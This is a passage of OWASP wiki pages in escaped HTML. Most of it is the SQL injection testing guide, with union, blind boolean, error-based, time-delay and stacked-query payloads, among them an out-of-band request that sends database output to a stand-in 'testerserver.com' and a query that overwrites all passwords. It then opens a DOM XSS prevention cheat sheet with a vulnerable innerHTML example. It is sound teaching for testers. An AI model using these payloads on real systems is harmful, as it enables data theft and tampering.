 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the request:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this case, probably the application would return some message telling us there is no content available or a blank page. Then&lt;br /&gt;
the tester can send a true statement and check if there is a valid result:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Example 3 (Stacked queries):&lt;br /&gt;
&lt;br /&gt;
Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
A way to exploit the above scenario would be:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10; INSERT INTO users (…)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This way is possible to execute many queries in a row and independent of the first query.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Fingerprinting the Database ====&lt;br /&gt;
 &lt;br /&gt;
Even the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.&lt;br /&gt;
&lt;br /&gt;
1) The first way to find out what back end database is used is by observing the error returned by the application. Follow are some examples:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
MySql:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;You have an error in your SQL syntax; check the manual&lt;br /&gt;
that corresponds to your MySQL server version for the&lt;br /&gt;
right syntax to use near '\'' at line 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Oracle:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-00933: SQL command not properly ended&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
MS SQL Server:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft SQL Native Client error ‘80040e14’&lt;br /&gt;
Unclosed quotation mark after the character string&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Query failed: ERROR: syntax error at or near&lt;br /&gt;
&amp;amp;quot;’&amp;amp;quot; at character 56 in /www/site/test.php on line 121.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
2) If there is no error message or a custom error message, the tester can try to inject into string field using concatenation technique:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:  ‘test’ + ‘ing’&lt;br /&gt;
&lt;br /&gt;
SQL Server: ‘test’ ‘ing’&lt;br /&gt;
 &lt;br /&gt;
Oracle: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
PostgreSQL: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Exploitation Techniques ===&lt;br /&gt;
 &lt;br /&gt;
==== Union Exploitation Technique ====&lt;br /&gt;
  &lt;br /&gt;
The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT Name, Phone, Address FROM Users WHERE Id=$id&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will set the following $id value:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will have the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two queries must have an equal number of parameters/columns, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 ORDER BY 10--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Unknown column '10' in 'order clause'&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query fails, the tester will probably see a message like:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;All cells in a column must have the same datatype&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success, the first column can be an integer. Then the tester can move further and so on:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Boolean Exploitation Technique ====&lt;br /&gt;
 &lt;br /&gt;
The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?id=1'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''SUBSTRING (text, start, length)''': returns a substring starting from the position &amp;amp;quot;start&amp;amp;quot; of text and of length&lt;br /&gt;
&amp;amp;quot;length&amp;amp;quot;. If &amp;amp;quot;start&amp;amp;quot; is greater than the length of text, the function returns a null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''LENGTH (text)''': it gives back the number of characters in the input text.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
That creates the following query (from now on, we will call it &amp;amp;quot;inferential query&amp;amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND '1' = '2 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Which will create the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order&lt;br /&gt;
to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will insert the following value for the field ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Error based Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. Oracle 10g):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-292257: host SCOTT unknown&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Out of band Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver (e.g. Apache) or use the Netcat tool:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
/home/tester/nc –nLp 80&lt;br /&gt;
 &lt;br /&gt;
GET /SCOTT HTTP/1.1&lt;br /&gt;
Host: testerserver.com&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
==== Time delay Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. MySql 5.x):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
==== Stored Procedure Injection ====&lt;br /&gt;
  &lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create procedure user_login @username varchar(20), @passwd varchar(20) &lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(250)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select 1 from users&lt;br /&gt;
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
&lt;br /&gt;
User input:&lt;br /&gt;
anyusername or 1=1'&lt;br /&gt;
anypassword&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters.&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure get_report @columnamelist varchar(7900)&lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(8000)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
User input:&lt;br /&gt;
&lt;br /&gt;
1 from users; update users set password = 'password'; select *&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This will result in the report running and all users’ passwords being updated.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Automated Exploitation ====&lt;br /&gt;
 &lt;br /&gt;
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]&amp;lt;br&amp;gt;&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2013-A1-Injection]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.databasesecurity.com/webapps/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blinded SQL Injection&amp;quot; - https://www.imperva.com/lg/lgw.asp?pid=369&lt;br /&gt;
* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;SQL Injection&amp;quot; - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;Blind SQL Injection&amp;quot; - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
'''Documentation on SQL injection vulnerabilities in products'''&lt;br /&gt;
&lt;br /&gt;
* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=DOM_based_XSS_Prevention_Cheat_Sheet&amp;diff=210378</id>
		<title>DOM based XSS Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=DOM_based_XSS_Prevention_Cheat_Sheet&amp;diff=210378"/>
				<updated>2016-03-03T17:44:36Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* Introduction */ - standardize the casing in the word 'javascript'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
When looking at XSS (Cross-Site Scripting), there are three generally recognized forms of [[XSS]].  [[XSS#Stored_and_Reflected_XSS_Attacks | Reflected, Stored]], and [[DOM Based XSS]].  The [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheatsheet]] does an excellent job of addressing Reflected and Stored XSS. This cheatsheet addresses DOM (Document Object Model) based XSS and is an extension (and assumes comprehension of) the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheatsheet]].&lt;br /&gt;
&lt;br /&gt;
In order to understand DOM based XSS, one needs to see the fundamental difference between Reflected and Stored XSS when compared to DOM based XSS. The primary difference is where the attack is injected into the application. Reflected and Stored XSS are server side injection issues while DOM based XSS is a client (browser) side injection issue. All of this code originates on the server, which means it is the application owner's responsibility to make it safe from XSS, regardless of the type of XSS flaw it is. Also, XSS attacks always &amp;lt;b&amp;gt;execute&amp;lt;/b&amp;gt; in the browser. The difference between Reflected/Stored XSS is where the attack is added or injected into the application. With Reflected/Stored the attack is injected into the application during server-side processing of requests where untrusted input is dynamically added to HTML. For DOM XSS, the attack is injected into the application during runtime in the client directly.&lt;br /&gt;
&lt;br /&gt;
When a browser is rendering HTML and any other associated content like CSS, JavaScript, etc. it identifies various rendering contexts for the different kinds of input and follows different rules for each context. A rendering context is associated with the parsing of HTML tags and their attributes.  The HTML parser of the rendering context dictates how data is presented and laid out on the page and can be further broken down into the standard contexts of HTML, HTML attribute, URL, and CSS.  The JavaScript or VBScript parser of an execution context is associated with the parsing and execution of script code.  Each parser has distinct and separate semantics in the way they can possibly execute script code which make creating consistent rules for mitigating vulnerabilities in various contexts difficult.   The complication is compounded by the differing meanings and treatment of encoded values within each subcontext (HTML, HTML attribute, URL, and CSS) within the execution context.&lt;br /&gt;
&lt;br /&gt;
For the purposes of this article, we refer to the HTML, HTML attribute, URL, and CSS Cheatsheet contexts as subcontexts because each of these contexts can be reached and set within a JavaScript execution context.  In JavaScript code, the main context is JavaScript but with the right tags and context closing characters, an attacker can try to attack the other 4 contexts using equivalent JavaScript DOM methods.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following is an example vulnerability which occurs in the JavaScript context and HTML subcontext:&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var x = ‘&amp;lt;%= taintedVar %&amp;gt;’;&lt;br /&gt;
 var d = document.createElement(‘div’);&lt;br /&gt;
 d.innerHTML = x;&lt;br /&gt;
 document.body.appendChild(d);&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Let’s look at the individual subcontexts of the execution context in turn.&lt;br /&gt;
&lt;br /&gt;
==RULE #1 - HTML Escape then JavaScript Escape Before Inserting Untrusted Data into HTML Subcontext within the Execution Context==&lt;br /&gt;
&lt;br /&gt;
There are several methods and attributes which can be used to directly render HTML content within JavaScript.  These methods constitute the HTML Subcontext within the Execution Context. If these methods are provided with untrusted input, then an XSS vulnerability could result. For example:&lt;br /&gt;
&lt;br /&gt;
===Example Dangerous HTML Methods===&lt;br /&gt;
====Attributes====&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
